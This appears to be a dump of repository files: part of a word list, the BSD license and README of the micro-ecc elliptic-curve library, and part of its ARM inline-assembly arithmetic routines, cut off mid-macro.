38 "Canary",
39 "Cargo",
40 "Chirp",
41 "Chroma",
42 "Cleft",
43 "Coke",
44 "Column",
45 "Comely",
46 "Cometh",
47 "Convoy",
48 "Corn",
49 "Cough",
50 "Cruxes",
51 "Cued",
52 "Darter",
53 "Dash",
54 "Dating",
55 "Deadly",
56 "Deaf",
57 "Decade",
58 "Deepen",
59 "Depict",
60 "Domed",
61 "Dorper",
62 "Drafts",
63 "Dried",
64 "Duff",
65 "Durian",
66 "Early",
67 "Easily",
68 "Eggars",
69 "Emboss",
70 "Emit",
71 "Encode",
72 "Ennui",
73 "Envied",
74 "Essay",
75 "Evites",
76 "Evoke",
77 "Exotic",
78 "Facile",
79 "Fate",
80 "Feisty",
81 "Fewest",
82 "Fifty",
83 "Filth",
84 "Finer",
85 "Fished",
86 "Flacks",
87 "Flaunt",
88 "Fleecy",
89 "Flied",
90 "Foams",
91 "Foxes",
92 "Freely",
93 "Frozen",
94 "Genome",
95 "Gibbon",
96 "Gifts",
97 "Giving",
98 "Gold",
99 "Gone",
100 "Gouge",
101 "Grocer",
102 "Grows",
103 "Half",
104 "Handle",
105 "Harold",
106 "Harp",
107 "Hedges",
108 "Hither",
109 "Hobbit",
110 "Hobble",
111 "Hoods",
112 "Hooked",
113 "Horror",
114 "Horsed",
115 "Hound",
116 "Huns",
117 "Ices",
118 "Impish",
119 "Jiber",
120 "Jiggy",
121 "Kelpy",
122 "Keyman",
123 "Khan",
124 "Killer",
125 "Klutzy",
126 "Lair",
127 "Lashes",
128 "Libate",
129 "Liming",
130 "Lonely",
131 "Looks",
132 "Lordy",
133 "Lush",
134 "Mailer",
135 "Maps",
136 "Mayo",
137 "Mcgill",
138 "Mona",
139 "Motive",
140 "Mousy",
141 "Neigh",
142 "Ninjas",
143 "Nodule",
144 "Nuns",
145 "Obese",
146 "Olive",
147 "Omelet",
148 "Omen",
149 "Otto",
150 "Outran",
151 "Ouzo",
152 "Owls",
153 "Papism",
154 "Parrot",
155 "Peace",
156 "Pearly",
157 "Peaty",
158 "Pedal",
159 "Pegged",
160 "Petals",
161 "Phials",
162 "Pianos",
163 "Pierce",
164 "Pigs",
165 "Pikey",
166 "Pitch",
167 "Plato",
168 "Plays",
169 "Plight",
170 "Poetic",
171 "Poker",
172 "Polite",
173 "Pontic",
174 "Pony",
175 "Powers",
176 "Poxes",
177 "Prams",
178 "Pulped",
179 "Purr",
180 "Push",
181 "Quint",
182 "Random",
183 "Rapier",
184 "Ravel",
185 "Real",
186 "Rebolt",
187 "Recoil",
188 "Redear",
189 "Reink",
190 "Ripe",
191 "Riprap",
192 "Roger",
193 "Ropers",
194 "Roving",
195 "Rumor",
196 "Sanded",
197 "Sawlog",
198 "Sawman",
199 "Scribe",
200 "Scruff",
201 "Seitan",
202 "Sense",
203 "Shirks",
204 "Sippy",
205 "Sitcom",
206 "Slumpy",
207 "Softy",
208 "Sonar",
209 "Sonny",
210 "Sophic",
211 "Spear",
212 "Spiced",
213 "Spikey",
214 "Spine",
215 "Spoofy",
216 "Spring",
217 "Static",
218 "Staved",
219 "Stilt",
220 "Stinty",
221 "Stirs",
222 "Storer",
223 "Story",
224 "Strode",
225 "Stump",
226 "Suited",
227 "Surfs",
228 "Swatch",
229 "Swum",
230 "Tables",
231 "Taking",
232 "Tattoo",
233 "Teal",
234 "Teeth",
235 "Telco",
236 "Timer",
237 "Tins",
238 "Tonite",
239 "Tore",
240 "Tort",
241 "Tried",
242 "Trivia",
243 "Tubule",
244 "Tusked",
245 "Twins",
246 "Twos",
247 "Unborn",
248 "Undam",
249 "Unwrap",
250 "Upcurl",
251 "Upseal",
252 "Visas",
253 "Volume",
254 "Waded",
255 "Wages",
256 "Ware",
257 "Wears",
258 "Wicked",
259 "Winful",
260 "Wisely",
261 "Wisp",
262 "Yerba",
263 "Zester",
264 "Zoner",
265 "Zootic",
266 };
267
0 Copyright (c) 2014, Kenneth MacKay
1 All rights reserved.
2
3 Redistribution and use in source and binary forms, with or without modification,
4 are permitted provided that the following conditions are met:
5 * Redistributions of source code must retain the above copyright notice, this
6 list of conditions and the following disclaimer.
7 * Redistributions in binary form must reproduce the above copyright notice,
8 this list of conditions and the following disclaimer in the documentation
9 and/or other materials provided with the distribution.
10
11 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
12 ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
13 WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
14 DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
15 ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
16 (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
17 LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
18 ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
19 (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
20 SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
0 micro-ecc
1 ==========
2
3 A small and fast ECDH and ECDSA implementation for 8-bit, 32-bit, and 64-bit processors.
4
5 The static version of micro-ecc (ie, where the curve was selected at compile-time) can be found in the "static" branch.
6
7 Features
8 --------
9
10 * Resistant to known side-channel attacks.
11 * Written in C, with optional GCC inline assembly for AVR, ARM and Thumb platforms.
12 * Supports 8, 32, and 64-bit architectures.
13 * Small code size.
14 * No dynamic memory allocation.
15 * Support for 5 standard curves: secp160r1, secp192r1, secp224r1, secp256r1, and secp256k1.
16 * BSD 2-clause license.
17
18 Usage Notes
19 -----------
20 ### Point Representation ###
21 Compressed points are represented in the standard format as defined in http://www.secg.org/collateral/sec1_final.pdf; uncompressed points are represented in standard format, but without the `0x04` prefix. All functions except `uECC_compress()` only accept uncompressed points; use `uECC_compress()` and `uECC_decompress()` to convert between compressed and uncompressed point representations.
22
23 Private keys are represented in the standard format.
24
25 ### Using the Code ###
26
27 I recommend just copying (or symlink) the uECC files into your project. Then just `#include "uECC.h"` to use the micro-ecc functions.
28
29 For use with Arduino, you can just create a symlink to the `uECC` directory in your Arduino `libraries` directory. You can then use uECC just like any other Arduino library (uECC should show up in the **Sketch**=>**Import Library** submenu).
30
31 See uECC.h for documentation for each function.
32
33 ### Compilation Notes ###
34
35 * Should compile with any C/C++ compiler that supports stdint.h (this includes Visual Studio 2013).
36 * If you want to change the defaults for any of the uECC compile-time options (such as `uECC_OPTIMIZATION_LEVEL`), you must change them in your Makefile or similar so that uECC.c is compiled with the desired values (ie, compile uECC.c with `-DuECC_OPTIMIZATION_LEVEL=3` or whatever).
37 * When compiling for a Thumb-1 platform, you must use the `-fomit-frame-pointer` GCC option (this is enabled by default when compiling with `-O1` or higher).
38 * When compiling for an ARM/Thumb-2 platform with `uECC_OPTIMIZATION_LEVEL` >= 3, you must use the `-fomit-frame-pointer` GCC option (this is enabled by default when compiling with `-O1` or higher).
39 * When compiling for AVR, you must have optimizations enabled (compile with `-O1` or higher).
40 * When building for Windows, you will need to link in the `advapi32.lib` system library.
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_ASM_ARM_H_
3 #define _UECC_ASM_ARM_H_
4
5 #include "asm_arm_mult_square.inc"
6
7 #if (uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1)
8 #define uECC_MIN_WORDS 8
9 #endif
10 #if uECC_SUPPORTS_secp224r1
11 #undef uECC_MIN_WORDS
12 #define uECC_MIN_WORDS 7
13 #endif
14 #if uECC_SUPPORTS_secp192r1
15 #undef uECC_MIN_WORDS
16 #define uECC_MIN_WORDS 6
17 #endif
18 #if uECC_SUPPORTS_secp160r1
19 #undef uECC_MIN_WORDS
20 #define uECC_MIN_WORDS 5
21 #endif
22
23 #if (uECC_PLATFORM == uECC_arm_thumb)
24 #define REG_RW "+l"
25 #define REG_WRITE "=l"
26 #else
27 #define REG_RW "+r"
28 #define REG_WRITE "=r"
29 #endif
30
31 #if (uECC_PLATFORM == uECC_arm_thumb || uECC_PLATFORM == uECC_arm_thumb2)
32 #define REG_RW_LO "+l"
33 #define REG_WRITE_LO "=l"
34 #else
35 #define REG_RW_LO "+r"
36 #define REG_WRITE_LO "=r"
37 #endif
38
39 #if (uECC_PLATFORM == uECC_arm_thumb2)
40 #define RESUME_SYNTAX
41 #else
42 #define RESUME_SYNTAX ".syntax divided \n\t"
43 #endif
44
45 #if (uECC_OPTIMIZATION_LEVEL >= 2)
46
47 uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result,
48 const uECC_word_t *left,
49 const uECC_word_t *right,
50 wordcount_t num_words) {
51 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
52 #if (uECC_PLATFORM == uECC_arm_thumb) || (uECC_PLATFORM == uECC_arm_thumb2)
53 uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 2 + 1;
54 #else /* ARM */
55 uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 4;
56 #endif
57 #endif
58 uint32_t carry;
59 uint32_t left_word;
60 uint32_t right_word;
61
62 __asm__ volatile (
63 ".syntax unified \n\t"
64 "movs %[carry], #0 \n\t"
65 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
66 "adr %[left], 1f \n\t"
67 "adds %[jump], %[left] \n\t"
68 #endif
69
70 "ldmia %[lptr]!, {%[left]} \n\t"
71 "ldmia %[rptr]!, {%[right]} \n\t"
72 "adds %[left], %[right] \n\t"
73 "stmia %[dptr]!, {%[left]} \n\t"
74
75 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
76 "bx %[jump] \n\t"
77 #endif
78 "1: \n\t"
79 REPEAT(DEC(uECC_MAX_WORDS),
80 "ldmia %[lptr]!, {%[left]} \n\t"
81 "ldmia %[rptr]!, {%[right]} \n\t"
82 "adcs %[left], %[right] \n\t"
83 "stmia %[dptr]!, {%[left]} \n\t")
84
85 "adcs %[carry], %[carry] \n\t"
86 RESUME_SYNTAX
87 : [dptr] REG_RW_LO (result), [lptr] REG_RW_LO (left), [rptr] REG_RW_LO (right),
88 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
89 [jump] REG_RW_LO (jump),
90 #endif
91 [carry] REG_WRITE_LO (carry), [left] REG_WRITE_LO (left_word),
92 [right] REG_WRITE_LO (right_word)
93 :
94 : "cc", "memory"
95 );
96 return carry;
97 }
98 #define asm_add 1
99
100 uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result,
101 const uECC_word_t *left,
102 const uECC_word_t *right,
103 wordcount_t num_words) {
104 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
105 #if (uECC_PLATFORM == uECC_arm_thumb) || (uECC_PLATFORM == uECC_arm_thumb2)
106 uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 2 + 1;
107 #else /* ARM */
108 uint32_t jump = (uECC_MAX_WORDS - num_words) * 4 * 4;
109 #endif
110 #endif
111 uint32_t carry;
112 uint32_t left_word;
113 uint32_t right_word;
114
115 __asm__ volatile (
116 ".syntax unified \n\t"
117 "movs %[carry], #0 \n\t"
118 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
119 "adr %[left], 1f \n\t"
120 "adds %[jump], %[left] \n\t"
121 #endif
122
123 "ldmia %[lptr]!, {%[left]} \n\t"
124 "ldmia %[rptr]!, {%[right]} \n\t"
125 "subs %[left], %[right] \n\t"
126 "stmia %[dptr]!, {%[left]} \n\t"
127
128 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
129 "bx %[jump] \n\t"
130 #endif
131 "1: \n\t"
132 REPEAT(DEC(uECC_MAX_WORDS),
133 "ldmia %[lptr]!, {%[left]} \n\t"
134 "ldmia %[rptr]!, {%[right]} \n\t"
135 "sbcs %[left], %[right] \n\t"
136 "stmia %[dptr]!, {%[left]} \n\t")
137
138 "adcs %[carry], %[carry] \n\t"
139 RESUME_SYNTAX
140 : [dptr] REG_RW_LO (result), [lptr] REG_RW_LO (left), [rptr] REG_RW_LO (right),
141 #if (uECC_MAX_WORDS != uECC_MIN_WORDS)
142 [jump] REG_RW_LO (jump),
143 #endif
144 [carry] REG_WRITE_LO (carry), [left] REG_WRITE_LO (left_word),
145 [right] REG_WRITE_LO (right_word)
146 :
147 : "cc", "memory"
148 );
149 return !carry; /* Note that on ARM, carry flag set means "no borrow" when subtracting
150 (for some reason...) */
151 }
152 #define asm_sub 1
153
154 #endif /* (uECC_OPTIMIZATION_LEVEL >= 2) */
155
156 #if (uECC_OPTIMIZATION_LEVEL >= 3)
157
158 #define FAST_MULT_ASM_5_TO_6 \
159 "cmp r3, #5 \n\t" \
160 "beq 1f \n\t" \
161 \
162 /* r4 = left high, r5 = right high */ \
163 "ldr r4, [r1] \n\t" \
164 "ldr r5, [r2] \n\t" \
165 \
166 "sub r0, #20 \n\t" \
167 "sub r1, #20 \n\t" \
168 "sub r2, #20 \n\t" \
169 \
170 "ldr r6, [r0] \n\t" \
171 "ldr r7, [r1], #4 \n\t" \
172 "ldr r8, [r2], #4 \n\t" \
173 "mov r14, #0 \n\t" \
174 "umull r9, r10, r4, r8 \n\t" \
175 "umull r11, r12, r5, r7 \n\t" \
176 "adds r9, r9, r6 \n\t" \
177 "adc r10, r10, #0 \n\t" \
178 "adds r9, r9, r11 \n\t" \
179 "adcs r10, r10, r12 \n\t" \
180 "adc r14, r14, #0 \n\t" \
181 "str r9, [r0], #4 \n\t" \
182 \
183 "ldr r6, [r0] \n\t" \
184 "adds r10, r10, r6 \n\t" \
185 "adcs r14, r14, #0 \n\t" \
186 "ldr r7, [r1], #4 \n\t" \
187 "ldr r8, [r2], #4 \n\t" \
188 "mov r9, #0 \n\t" \
189 "umull r11, r12, r4, r8 \n\t" \
190 "adds r10, r10, r11 \n\t" \
191 "adcs r14, r14, r12 \n\t" \
192 "adc r9, r9, #0 \n\t" \
193 "umull r11, r12, r5, r7 \n\t" \
194 "adds r10, r10, r11 \n\t" \
195 "adcs r14, r14, r12 \n\t" \
196 "adc r9, r9, #0 \n\t" \
197 "str r10, [r0], #4 \n\t" \
198 \
199 "ldr r6, [r0] \n\t" \
200 "adds r14, r14, r6 \n\t" \
201 "adcs r9, r9, #0 \n\t" \
202 "ldr r7, [r1], #4 \n\t" \
203 "ldr r8, [r2], #4 \n\t" \
204 "mov r10, #0 \n\t" \
205 "umull r11, r12, r4, r8 \n\t" \
206 "adds r14, r14, r11 \n\t" \
207 "adcs r9, r9, r12 \n\t" \
208 "adc r10, r10, #0 \n\t" \
209 "umull r11, r12, r5, r7 \n\t" \
210 "adds r14, r14, r11 \n\t" \
211 "adcs r9, r9, r12 \n\t" \
212 "adc r10, r10, #0 \n\t" \
213 "str r14, [r0], #4 \n\t" \
214 \
215 "ldr r6, [r0] \n\t" \
216 "adds r9, r9, r6 \n\t" \
217 "adcs r10, r10, #0 \n\t" \
218 "ldr r7, [r1], #4 \n\t" \
219 "ldr r8, [r2], #4 \n\t" \
220 "mov r14, #0 \n\t" \
221 "umull r11, r12, r4, r8 \n\t" \
222 "adds r9, r9, r11 \n\t" \
223 "adcs r10, r10, r12 \n\t" \
224 "adc r14, r14, #0 \n\t" \
225 "umull r11, r12, r5, r7 \n\t" \
226 "adds r9, r9, r11 \n\t" \
227 "adcs r10, r10, r12 \n\t" \
228 "adc r14, r14, #0 \n\t" \
229 "str r9, [r0], #4 \n\t" \
230 \
231 "ldr r6, [r0] \n\t" \
232 "adds r10, r10, r6 \n\t" \
233 "adcs r14, r14, #0 \n\t" \
234 /* skip past already-loaded (r4, r5) */ \
235 "ldr r7, [r1], #8 \n\t" \
236 "ldr r8, [r2], #8 \n\t" \
237 "mov r9, #0 \n\t" \
238 "umull r11, r12, r4, r8 \n\t" \
239 "adds r10, r10, r11 \n\t" \
240 "adcs r14, r14, r12 \n\t" \
241 "adc r9, r9, #0 \n\t" \
242 "umull r11, r12, r5, r7 \n\t" \
243 "adds r10, r10, r11 \n\t" \
244 "adcs r14, r14, r12 \n\t" \
245 "adc r9, r9, #0 \n\t" \
246 "str r10, [r0], #4 \n\t" \
247 \
248 "umull r11, r12, r4, r5 \n\t" \
249 "adds r11, r11, r14 \n\t" \
250 "adc r12, r12, r9 \n\t" \
251 "stmia r0!, {r11, r12} \n\t"
252
253 #define FAST_MULT_ASM_6_TO_7 \
254 "cmp r3, #6 \n\t" \
255 "beq 1f \n\t" \
256 \
257 /* r4 = left high, r5 = right high */ \
258 "ldr r4, [r1] \n\t" \
259 "ldr r5, [r2] \n\t" \
260 \
261 "sub r0, #24 \n\t" \
262 "sub r1, #24 \n\t" \
263 "sub r2, #24 \n\t" \
264 \
265 "ldr r6, [r0] \n\t" \
266 "ldr r7, [r1], #4 \n\t" \
267 "ldr r8, [r2], #4 \n\t" \
268 "mov r14, #0 \n\t" \
269 "umull r9, r10, r4, r8 \n\t" \
270 "umull r11, r12, r5, r7 \n\t" \
271 "adds r9, r9, r6 \n\t" \
272 "adc r10, r10, #0 \n\t" \
273 "adds r9, r9, r11 \n\t" \
274 "adcs r10, r10, r12 \n\t" \
275 "adc r14, r14, #0 \n\t" \
276 "str r9, [r0], #4 \n\t" \
277 \
278 "ldr r6, [r0] \n\t" \
279 "adds r10, r10, r6 \n\t" \
280 "adcs r14, r14, #0 \n\t" \
281 "ldr r7, [r1], #4 \n\t" \
282 "ldr r8, [r2], #4 \n\t" \
283 "mov r9, #0 \n\t" \
284 "umull r11, r12, r4, r8 \n\t" \
285 "adds r10, r10, r11 \n\t" \
286 "adcs r14, r14, r12 \n\t" \
287 "adc r9, r9, #0 \n\t" \
288 "umull r11, r12, r5, r7 \n\t" \
289 "adds r10, r10, r11 \n\t" \
290 "adcs r14, r14, r12 \n\t" \
291 "adc r9, r9, #0 \n\t" \
292 "str r10, [r0], #4 \n\t" \
293 \
294 "ldr r6, [r0] \n\t" \
295 "adds r14, r14, r6 \n\t" \
296 "adcs r9, r9, #0 \n\t" \
297 "ldr r7, [r1], #4 \n\t" \
298 "ldr r8, [r2], #4 \n\t" \
299 "mov r10, #0 \n\t" \
300 "umull r11, r12, r4, r8 \n\t" \
301 "adds r14, r14, r11 \n\t" \
302 "adcs r9, r9, r12 \n\t" \
303 "adc r10, r10, #0 \n\t" \
304 "umull r11, r12, r5, r7 \n\t" \
305 "adds r14, r14, r11 \n\t" \
306 "adcs r9, r9, r12 \n\t" \
307 "adc r10, r10, #0 \n\t" \
308 "str r14, [r0], #4 \n\t" \
309 \
310 "ldr r6, [r0] \n\t" \
311 "adds r9, r9, r6 \n\t" \
312 "adcs r10, r10, #0 \n\t" \
313 "ldr r7, [r1], #4 \n\t" \
314 "ldr r8, [r2], #4 \n\t" \
315 "mov r14, #0 \n\t" \
316 "umull r11, r12, r4, r8 \n\t" \
317 "adds r9, r9, r11 \n\t" \
318 "adcs r10, r10, r12 \n\t" \
319 "adc r14, r14, #0 \n\t" \
320 "umull r11, r12, r5, r7 \n\t" \
321 "adds r9, r9, r11 \n\t" \
322 "adcs r10, r10, r12 \n\t" \
323 "adc r14, r14, #0 \n\t" \
324 "str r9, [r0], #4 \n\t" \
325 \
326 "ldr r6, [r0] \n\t" \
327 "adds r10, r10, r6 \n\t" \
328 "adcs r14, r14, #0 \n\t" \
329 "ldr r7, [r1], #4 \n\t" \
330 "ldr r8, [r2], #4 \n\t" \
331 "mov r9, #0 \n\t" \
332 "umull r11, r12, r4, r8 \n\t" \
333 "adds r10, r10, r11 \n\t" \
334 "adcs r14, r14, r12 \n\t" \
335 "adc r9, r9, #0 \n\t" \
336 "umull r11, r12, r5, r7 \n\t" \
337 "adds r10, r10, r11 \n\t" \
338 "adcs r14, r14, r12 \n\t" \
339 "adc r9, r9, #0 \n\t" \
340 "str r10, [r0], #4 \n\t" \
341 \
342 "ldr r6, [r0] \n\t" \
343 "adds r14, r14, r6 \n\t" \
344 "adcs r9, r9, #0 \n\t" \
345 /* skip past already-loaded (r4, r5) */ \
346 "ldr r7, [r1], #8 \n\t" \
347 "ldr r8, [r2], #8 \n\t" \
348 "mov r10, #0 \n\t" \
349 "umull r11, r12, r4, r8 \n\t" \
350 "adds r14, r14, r11 \n\t" \
351 "adcs r9, r9, r12 \n\t" \
352 "adc r10, r10, #0 \n\t" \
353 "umull r11, r12, r5, r7 \n\t" \
354 "adds r14, r14, r11 \n\t" \
355 "adcs r9, r9, r12 \n\t" \
356 "adc r10, r10, #0 \n\t" \
357 "str r14, [r0], #4 \n\t" \
358 \
359 "umull r11, r12, r4, r5 \n\t" \
360 "adds r11, r11, r9 \n\t" \
361 "adc r12, r12, r10 \n\t" \
362 "stmia r0!, {r11, r12} \n\t"
363
364 #define FAST_MULT_ASM_7_TO_8 \
365 "cmp r3, #7 \n\t" \
366 "beq 1f \n\t" \
367 \
368 /* r4 = left high, r5 = right high */ \
369 "ldr r4, [r1] \n\t" \
370 "ldr r5, [r2] \n\t" \
371 \
372 "sub r0, #28 \n\t" \
373 "sub r1, #28 \n\t" \
374 "sub r2, #28 \n\t" \
375 \
376 "ldr r6, [r0] \n\t" \
377 "ldr r7, [r1], #4 \n\t" \
378 "ldr r8, [r2], #4 \n\t" \
379 "mov r14, #0 \n\t" \
380 "umull r9, r10, r4, r8 \n\t" \
381 "umull r11, r12, r5, r7 \n\t" \
382 "adds r9, r9, r6 \n\t" \
383 "adc r10, r10, #0 \n\t" \
384 "adds r9, r9, r11 \n\t" \
385 "adcs r10, r10, r12 \n\t" \
386 "adc r14, r14, #0 \n\t" \
387 "str r9, [r0], #4 \n\t" \
388 \
389 "ldr r6, [r0] \n\t" \
390 "adds r10, r10, r6 \n\t" \
391 "adcs r14, r14, #0 \n\t" \
392 "ldr r7, [r1], #4 \n\t" \
393 "ldr r8, [r2], #4 \n\t" \
394 "mov r9, #0 \n\t" \
395 "umull r11, r12, r4, r8 \n\t" \
396 "adds r10, r10, r11 \n\t" \
397 "adcs r14, r14, r12 \n\t" \
398 "adc r9, r9, #0 \n\t" \
399 "umull r11, r12, r5, r7 \n\t" \
400 "adds r10, r10, r11 \n\t" \
401 "adcs r14, r14, r12 \n\t" \
402 "adc r9, r9, #0 \n\t" \
403 "str r10, [r0], #4 \n\t" \
404 \
405 "ldr r6, [r0] \n\t" \
406 "adds r14, r14, r6 \n\t" \
407 "adcs r9, r9, #0 \n\t" \
408 "ldr r7, [r1], #4 \n\t" \
409 "ldr r8, [r2], #4 \n\t" \
410 "mov r10, #0 \n\t" \
411 "umull r11, r12, r4, r8 \n\t" \
412 "adds r14, r14, r11 \n\t" \
413 "adcs r9, r9, r12 \n\t" \
414 "adc r10, r10, #0 \n\t" \
415 "umull r11, r12, r5, r7 \n\t" \
416 "adds r14, r14, r11 \n\t" \
417 "adcs r9, r9, r12 \n\t" \
418 "adc r10, r10, #0 \n\t" \
419 "str r14, [r0], #4 \n\t" \
420 \
421 "ldr r6, [r0] \n\t" \
422 "adds r9, r9, r6 \n\t" \
423 "adcs r10, r10, #0 \n\t" \
424 "ldr r7, [r1], #4 \n\t" \
425 "ldr r8, [r2], #4 \n\t" \
426 "mov r14, #0 \n\t" \
427 "umull r11, r12, r4, r8 \n\t" \
428 "adds r9, r9, r11 \n\t" \
429 "adcs r10, r10, r12 \n\t" \
430 "adc r14, r14, #0 \n\t" \
431 "umull r11, r12, r5, r7 \n\t" \
432 "adds r9, r9, r11 \n\t" \
433 "adcs r10, r10, r12 \n\t" \
434 "adc r14, r14, #0 \n\t" \
435 "str r9, [r0], #4 \n\t" \
436 \
437 "ldr r6, [r0] \n\t" \
438 "adds r10, r10, r6 \n\t" \
439 "adcs r14, r14, #0 \n\t" \
440 "ldr r7, [r1], #4 \n\t" \
441 "ldr r8, [r2], #4 \n\t" \
442 "mov r9, #0 \n\t" \
443 "umull r11, r12, r4, r8 \n\t" \
444 "adds r10, r10, r11 \n\t" \
445 "adcs r14, r14, r12 \n\t" \
446 "adc r9, r9, #0 \n\t" \
447 "umull r11, r12, r5, r7 \n\t" \
448 "adds r10, r10, r11 \n\t" \
449 "adcs r14, r14, r12 \n\t" \
450 "adc r9, r9, #0 \n\t" \
451 "str r10, [r0], #4 \n\t" \
452 \
453 "ldr r6, [r0] \n\t" \
454 "adds r14, r14, r6 \n\t" \
455 "adcs r9, r9, #0 \n\t" \
456 "ldr r7, [r1], #4 \n\t" \
457 "ldr r8, [r2], #4 \n\t" \
458 "mov r10, #0 \n\t" \
459 "umull r11, r12, r4, r8 \n\t" \
460 "adds r14, r14, r11 \n\t" \
461 "adcs r9, r9, r12 \n\t" \
462 "adc r10, r10, #0 \n\t" \
463 "umull r11, r12, r5, r7 \n\t" \
464 "adds r14, r14, r11 \n\t" \
465 "adcs r9, r9, r12 \n\t" \
466 "adc r10, r10, #0 \n\t" \
467 "str r14, [r0], #4 \n\t" \
468 \
469 "ldr r6, [r0] \n\t" \
470 "adds r9, r9, r6 \n\t" \
471 "adcs r10, r10, #0 \n\t" \
472 /* skip past already-loaded (r4, r5) */ \
473 "ldr r7, [r1], #8 \n\t" \
474 "ldr r8, [r2], #8 \n\t" \
475 "mov r14, #0 \n\t" \
476 "umull r11, r12, r4, r8 \n\t" \
477 "adds r9, r9, r11 \n\t" \
478 "adcs r10, r10, r12 \n\t" \
479 "adc r14, r14, #0 \n\t" \
480 "umull r11, r12, r5, r7 \n\t" \
481 "adds r9, r9, r11 \n\t" \
482 "adcs r10, r10, r12 \n\t" \
483 "adc r14, r14, #0 \n\t" \
484 "str r9, [r0], #4 \n\t" \
485 \
486 "umull r11, r12, r4, r5 \n\t" \
487 "adds r11, r11, r10 \n\t" \
488 "adc r12, r12, r14 \n\t" \
489 "stmia r0!, {r11, r12} \n\t"
490
491 #if (uECC_PLATFORM != uECC_arm_thumb)
492 uECC_VLI_API void uECC_vli_mult(uint32_t *result,
493 const uint32_t *left,
494 const uint32_t *right,
495 wordcount_t num_words) {
496 register uint32_t *r0 __asm__("r0") = result;
497 register const uint32_t *r1 __asm__("r1") = left;
498 register const uint32_t *r2 __asm__("r2") = right;
499 register uint32_t r3 __asm__("r3") = num_words;
500
501 __asm__ volatile (
502 ".syntax unified \n\t"
503 "push {r3} \n\t"
504
505 #if (uECC_MIN_WORDS == 5)
506 FAST_MULT_ASM_5
507 "pop {r3} \n\t"
508 #if (uECC_MAX_WORDS > 5)
509 FAST_MULT_ASM_5_TO_6
510 #endif
511 #if (uECC_MAX_WORDS > 6)
512 FAST_MULT_ASM_6_TO_7
513 #endif
514 #if (uECC_MAX_WORDS > 7)
515 FAST_MULT_ASM_7_TO_8
516 #endif
517 #elif (uECC_MIN_WORDS == 6)
518 FAST_MULT_ASM_6
519 "pop {r3} \n\t"
520 #if (uECC_MAX_WORDS > 6)
521 FAST_MULT_ASM_6_TO_7
522 #endif
523 #if (uECC_MAX_WORDS > 7)
524 FAST_MULT_ASM_7_TO_8
525 #endif
526 #elif (uECC_MIN_WORDS == 7)
527 FAST_MULT_ASM_7
528 "pop {r3} \n\t"
529 #if (uECC_MAX_WORDS > 7)
530 FAST_MULT_ASM_7_TO_8
531 #endif
532 #elif (uECC_MIN_WORDS == 8)
533 FAST_MULT_ASM_8
534 "pop {r3} \n\t"
535 #endif
536
537 "1: \n\t"
538 RESUME_SYNTAX
539 : "+r" (r0), "+r" (r1), "+r" (r2)
540 : "r" (r3)
541 : "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "r12", "r14", "cc", "memory"
542 );
543 }
544 #define asm_mult 1
545
546 #if uECC_SQUARE_FUNC
547
548 #define FAST_SQUARE_ASM_5_TO_6 \
549 "cmp r2, #5 \n\t" \
550 "beq 1f \n\t" \
551 \
552 /* r3 = high */ \
553 "ldr r3, [r1] \n\t" \
554 \
555 "sub r0, #20 \n\t" \
556 "sub r1, #20 \n\t" \
557 \
558 /* Do off-center multiplication */ \
559 "ldr r14, [r1], #4 \n\t" \
560 "umull r4, r5, r3, r14 \n\t" \
561 "ldr r14, [r1], #4 \n\t" \
562 "umull r7, r6, r3, r14 \n\t" \
563 "adds r5, r5, r7 \n\t" \
564 "ldr r14, [r1], #4 \n\t" \
565 "umull r8, r7, r3, r14 \n\t" \
566 "adcs r6, r6, r8 \n\t" \
567 "ldr r14, [r1], #4 \n\t" \
568 "umull r9, r8, r3, r14 \n\t" \
569 "adcs r7, r7, r9 \n\t" \
570 /* Skip already-loaded r3 */ \
571 "ldr r14, [r1], #8 \n\t" \
572 "umull r10, r9, r3, r14 \n\t" \
573 "adcs r8, r8, r10 \n\t" \
574 "adcs r9, r9, #0 \n\t" \
575 \
576 /* Multiply by 2 */ \
577 "mov r10, #0 \n\t" \
578 "adds r4, r4, r4 \n\t" \
579 "adcs r5, r5, r5 \n\t" \
580 "adcs r6, r6, r6 \n\t" \
581 "adcs r7, r7, r7 \n\t" \
582 "adcs r8, r8, r8 \n\t" \
583 "adcs r9, r9, r9 \n\t" \
584 "adcs r10, r10, #0 \n\t" \
585 \
586 /* Add into previous */ \
587 "ldr r14, [r0] \n\t" \
588 "adds r4, r4, r14 \n\t" \
589 "str r4, [r0], #4 \n\t" \
590 "ldr r14, [r0] \n\t" \
591 "adcs r5, r5, r14 \n\t" \
592 "str r5, [r0], #4 \n\t" \
593 "ldr r14, [r0] \n\t" \
594 "adcs r6, r6, r14 \n\t" \
595 "str r6, [r0], #4 \n\t" \
596 "ldr r14, [r0] \n\t" \
597 "adcs r7, r7, r14 \n\t" \
